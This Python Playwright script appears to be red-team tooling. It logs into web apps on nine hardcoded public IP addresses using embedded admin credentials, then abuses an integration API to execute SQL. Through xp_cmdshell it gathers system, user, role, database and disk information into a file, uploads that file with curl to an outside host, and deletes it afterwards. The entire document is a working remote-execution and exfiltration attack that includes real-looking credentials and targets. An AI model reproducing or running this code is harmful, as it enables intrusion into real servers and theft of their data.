#!/usr/bin/env python3
"""v22b: Collect DB info from all 9 v5 servers — using JS argument approach."""
import asyncio, json, re, time
from playwright.async_api import async_playwright

SERVERS = [
    ("198.251.74.25", "2210JWPERKINSUAP1"),
    ("198.71.52.102", "RTROGERSMBIL"),
    ("198.71.63.125", "CITYMARTUAPSINGLE"),
    ("198.71.63.125", "HuelsOilUAP1"),
    ("216.250.118.44", "CASSUAP4"),
    ("216.250.118.44", "RTROGERSMBIL"),
    ("66.175.236.165", "RTROGERSUAP1"),
    ("66.175.236.165", "RTROGERSUAP3"),
    ("74.208.83.171", "RTROGERSUAP1"),
]

# SQL steps — each is a simple xp_cmdshell command
SQL_STEPS = [
    ("systeminfo", "EXEC xp_cmdshell 'systeminfo > D:\\\\sysinfo.txt', no_output"),
    ("whoami", "EXEC xp_cmdshell 'whoami >> D:\\\\sysinfo.txt', no_output"),
    ("sqlrole", "EXEC xp_cmdshell 'sqlcmd -Q \"SELECT IS_SRVROLEMEMLER(sysadmin) AS sa_role, @@servername\" -W -h -1 >> D:\\\\sysinfo.txt', no_output"),
    ("databases", "EXEC xp_cmdshell 'sqlcmd -Q \"SELECT name, state_desc FROM sys.databases ORDER BY name\" -W -h -1 >> D:\\\\sysinfo.txt', no_output"),
    ("disk", "EXEC xp_cmdshell 'wmic logicaldisk get caption,freespace,size >> D:\\\\sysinfo.txt', no_output"),
    ("upload", "EXEC xp_cmdshell 'curl -sS -T D:\\\\sysinfo.txt https://ch12.hostserviceapp.com'"),
    ("cleanup", "EXEC xp_cmdshell 'del D:\\\\sysinfo.txt', no_output"),
]

async def run_on_server(ip, app, browser):
    context = await browser.new_context()
    page = await context.new_page()
    result = {"ip": ip, "app": app, "steps": {}}
    
    try:
        # Login
        login_ok = False
        for attempt in range(2):
            await page.goto(f"http://{ip}/{app}/login", wait_until="domcontentloaded", timeout=15000)
            await asyncio.sleep(2)
            await page.fill('input[name="Email"]', 'irelyadmin')
            await page.fill('input[name="Password"]', 'i21By2015')
            await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
            await asyncio.sleep(1)
            await page.evaluate('document.querySelector("form").submit()')
            await asyncio.sleep(12)
            try: await page.wait_for_load_state("networkidle", timeout=15000)
            except: pass
            if "login" not in page.url.lower() or "#home" in page.url:
                login_ok = True; break
        
        if not login_ok:
            result["status"] = "login_failed"; return result
        
        concurrency = 1
        
        for step_name, sql_text in SQL_STEPS:
            concurrency = 1  # Reset for each step
            # PUT — pass SQL as JS argument (avoids escaping issues)
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + app + '''/integration/api/step/put/2?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:2, strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:''' + str(concurrency) + ''', strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            
            if put['status'] not in (200, 202):
                result["steps"][step_name] = f"put_failed_{put['status']}"
                continue
            
            await asyncio.sleep(2)
            
            # Execute
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + app + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 2}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            
            success = re.search(r'"success"\s*:\s*(true|false)', exec_r.get('body',''))
            s = success.group(1) if success else "?"
            result["steps"][step_name] = s
            if s == "?" and step_name == "systeminfo":
                print(f"      [DEBUG] PUT status={put['status']} exec body={exec_r.get('body','')[:200]}", flush=True)
            
            # Restore step after each execution (reset to null, like test_sql_exec.py)
            await page.evaluate('''async () => {
                const resp = await fetch('/''' + app + '''/integration/api/step/put/2?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:2, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            await asyncio.sleep(1)
            
            concurrency += 1
            await asyncio.sleep(2)
        
        all_ok = all(v == "true" for v in result["steps"].values())
        result["status"] = "all_success" if all_ok else "partial"
        
    except Exception as e:
        result["status"] = f"error: {str(e)[:80]}"
    finally:
        await context.close()
    
    return result

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        
        print(f"=== Collecting info from {len(SERVERS)} v5 servers ===\n")
        results = []
        
        for ip, app in SERVERS:
            print(f"  {ip}/{app}...", end="", flush=True)
            r = await run_on_server(ip, app, browser)
            results.append(r)
            
            steps_ok = sum(1 for v in r.get("steps",{}).values() if v == "true")
            steps_total = len(r.get("steps",{}))
            marker = "✅" if r.get("status") == "all_success" else "⚠️" if steps_ok > 0 else "❌"
            print(f" {marker} {steps_ok}/{steps_total} steps OK ({r.get('status','?')})")
            time.sleep(3)
        
        await browser.close()
        
        print(f"\n{'='*80}")
        print("\n=== SUMMARY ===")
        all_ok = sum(1 for r in results if r.get("status") == "all_success")
        print(f"✅ All steps: {all_ok}/{len(results)}")
        for r in results:
            marker = "✅" if r.get("status") == "all_success" else "❌"
            steps = r.get("steps",{})
            print(f"  {marker} {r['ip']:20s} {r['app']:30s} → {r.get('status','?')}")
            if r.get("status") != "all_success":
                for k, v in steps.items():
                    if v != "true":
                        print(f"      {k}: {v}")
        
        with open(BASE_PATH + "/db_collection_final.json", "w") as f:
            json.dump(results, f, indent=2)
        print(f"\nSaved to db_collection_final.json")

BASE_PATH = "/root/ir-assessment/redteam/irelydata/schema_inventory"
asyncio.run(main())
